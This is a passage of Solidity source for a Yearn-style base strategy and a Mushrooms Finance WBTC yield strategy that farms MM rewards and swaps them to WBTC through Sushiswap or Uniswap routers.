`harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.3.2"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external virtual view returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external virtual view returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay = 0; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay = 86400; // ~ once a day // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor = 100; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold = 0; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public virtual view returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit - _loss`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCost The keeper's estimated cast cost to call `tend()`. * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCost) public virtual view returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCost The keeper's estimated cast cost to call `harvest()`. * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCost) public virtual view returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 totalAssets = estimatedTotalAssets(); // NOTE: use the larger of total assets or debt outstanding to book losses properly (debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding); // NOTE: take up any remainder here as profit if (debtPayment > debtOutstanding) { profit = debtPayment.sub(debtOutstanding); debtPayment = debtOutstanding; } } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by governance or the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault) || msg.sender == governance()); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } */ function protectedTokens() internal virtual view returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } abstract contract BaseStrategyInitializable is BaseStrategy { constructor(address _vault) public BaseStrategy(_vault) {} function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external { _initialize(_vault, _strategist, _rewards, _keeper); } } interface MMVault { function token() external view returns (address); function getRatio() external view returns (uint256); function deposit(uint256) external; function withdraw(uint256) external; function withdrawAll() external; function earn() external; function balance() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address _user) external view returns (uint256); } interface MMStrategy { function harvest() external; } interface MMFarmingPool { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt); function pendingMM(uint256 _pid, address _user) external view returns (uint256); } interface IUni{ function getAmountsOut( uint256 amountIn, address[] calldata path ) external view returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } /** * @title Strategy for Mushrooms WBTC vault/farming pool yield * @author Mushrooms Finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); //wbtc address constant public mm = address(0xa283aA7CfBB27EF0cfBcb2493dD9F4330E0fd304); //MM address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public sushiroute = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public mmVault = address(0xb06661A221Ab2Ec615531f9632D6Dc5D2984179A);// Mushrooms mWBTC vault address constant public mmFarmingPool = address(0xf8873a6080e8dbF41ADa900498DE0951074af577); //Mushrooms mining MasterChef uint256 constant public mmFarmingPoolId = 11; // Mushrooms farming pool id for mWBTC uint256 public minMMToSwap = 1; // min $MM to swap during adjustPosition() /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external override view returns (string memory){ return "yvWBTCStratMushroomsV1"; } /** * @notice * Initializes the Strategy, this is called only once, when the contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. */ constructor(address _vault) BaseStrategy(_vault) public { require(address(want) == wbtc, '!wrongVault'); want.safeApprove(mmVault, uint256(-1)); IERC20(mmVault).safeApprove(mmFarmingPool, uint256(-1)); IERC20(mm).safeApprove(unirouter, uint256(-1)); IERC20(mm).safeApprove(sushiroute, uint256(-1)); } function setMinMMToSwap(uint256 _minMMToSwap) external onlyAuthorized { minMMToSwap = _minMMToSwap; } /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external override view returns (uint256) { return 0; } /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public override view returns (uint256){ (uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this)); uint256 _mmVault = IERC20(mmVault).balanceOf(address(this)); return _convertMTokenToWant(_mToken.add(_mmVault)).add(want.balanceOf(address(this))); } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit - _loss`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ){ // Pay debt if any if (_debtOutstanding > 0) { (uint256 _amountFreed, uint256 _reportLoss) = liquidatePosition(_debtOutstanding); _debtPayment = _amountFreed > _debtOutstanding? _debtOutstanding : _amountFreed; _loss = _reportLoss; } // Claim profit uint256 _pendingMM = MMFarmingPool(mmFarmingPool).pendingMM(mmFarmingPoolId, address(this)); if (_pendingMM > 0){ MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, 0); } _profit = _disposeOfMM(); return (_profit, _loss, _debtPayment); } /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal override{ //emergency exit is dealt with in prepareReturn if (emergencyExit) { return; } uint256 _before = IERC20(mmVault).balanceOf(address(this)); uint256 _after = _before; uint256 _want = want.balanceOf(address(this)); if (_want > _debtOutstanding) { _want = _want.sub(_debtOutstanding); MMVault(mmVault).deposit(_want); _after = IERC20(mmVault).balanceOf(address(this)); require(_after > _before, '!mismatchDepositIntoMushrooms'); } else if(_debtOutstanding > _want){ return; } if (_after > 0){ MMFarmingPool(mmFarmingPool).deposit(mmFarmingPoolId, _after); } } /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds). This function is used during emergency exit instead of * `prepareReturn()` to liquidate all of the Strategy's positions back to the Vault. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss){ bool liquidateAll = _amountNeeded >= estimatedTotalAssets()? true : false; if (liquidateAll){ (uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this)); MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken); MMVault(mmVault).withdraw(IERC20(mmVault).balanceOf(address(this))); _liquidatedAmount = IERC20(want).balanceOf(address(this)); return (_liquidatedAmount, _liquidatedAmount < vault.strategies(address(this)).totalDebt? vault.strategies(address(this)).totalDebt.sub(_liquidatedAmount) : 0); } else{ uint256 _before = IERC20(want).balanceOf(address(this)); if (_before < _amountNeeded){ uint256 _gap = _amountNeeded.sub(_before); uint256 _mShare = _gap.mul(1e18).div(MMVault(mmVault).getRatio()); uint256 _mmVault = IERC20(mmVault).balanceOf(address(this)); if (_mmVault < _mShare){ uint256 _mvGap = _mShare.sub(_mmVault); (uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this)); require(_mToken >= _mvGap, '!insufficientMTokenInMasterChef'); MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mvGap); } MMVault(mmVault).withdraw(_mShare); uint256 _after = IERC20(want).balanceOf(address(this)); require(_after > _before, '!mismatchMushroomsVaultWithdraw'); return (_after, _amountNeeded > _after? _amountNeeded.sub(_after): 0); } else{ return (_amountNeeded, _loss); } } } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `tendTrigger` should never return `true` at the * same time. * * See `maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCost The keeper's estimated cast cost to call `harvest()`. * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCost) public view override returns (bool) { return super.harvestTrigger(ethToWant(callCost)); } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal override{ (uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this)); MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken); uint256 _mmVault = IERC20(mmVault).balanceOf(address(this)); if (_mmVault > 0){ IERC20(mmVault).safeTransfer(_newStrategy, _mmVault); } uint256 _mm = IERC20(mm).balanceOf(address(this)); if (_mm > 0){ IERC20(mm).safeTransfer(_newStrategy, _mm); } } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } */ function protectedTokens() internal override view returns (address[] memory){ address[] memory protected = new address[](1); protected[0] = mmVault; return protected; } function _convertMTokenToWant(uint256 _shares) internal view returns (uint256){ uint256 _mTokenTotal = IERC20(mmVault).totalSupply(); if (_mTokenTotal == 0){ return 0; } uint256 _wantInVault = MMVault(mmVault).balance(); return (_wantInVault.mul(_shares)).div(_mTokenTotal); } // swap $MM for $WBTC function _disposeOfMM() internal returns (uint256){ uint256 _mm = IERC20(mm).balanceOf(address(this)); uint256 _wantProfit; if (_mm >= minMMToSwap) { // intuitively in favor of sushiswap over uniswap if possible for better efficiency and cost address[] memory pathSushi = new address[](3); pathSushi[0] = mm; pathSushi[1] = weth; pathSushi[2] = wbtc; uint256 outputSushi = IUni(sushiroute).getAmountsOut(_mm, pathSushi)[pathSushi.length - 1]; address[] memory pathUni = new address[](4); pathUni[0] = mm; pathUni[1] = usdc; pathUni[2] = weth; pathUni[3] = wbtc; uint256 outputUni = IUni(unirouter).getAmountsOut(_mm, pathUni)[pathUni.length - 1]; uint256 _want = want.balanceOf(address(this)); if (outputSushi >= outputUni){ IUni(sushiroute).swapExactTokensForTokens(_mm, uint256(0), pathSushi, address(this), now); } else{ IUni(unirouter).swapExactTokensForTokens(_mm, uint256(0), pathUni, address(this), now); } _wantProfit = want.balanceOf(address(this)).sub(_want); } return _wantProfit; } function ethToWant(uint256 _amount) public view returns (uint256) { if (_amount == 0) { return 0; } address[] memory path = new address[](2); path[0] = weth; path[1] = wbtc; uint256[] memory amounts = IUni(unirouter).getAmountsOut(_amount, path); return amounts[amounts.length - 1]; } }
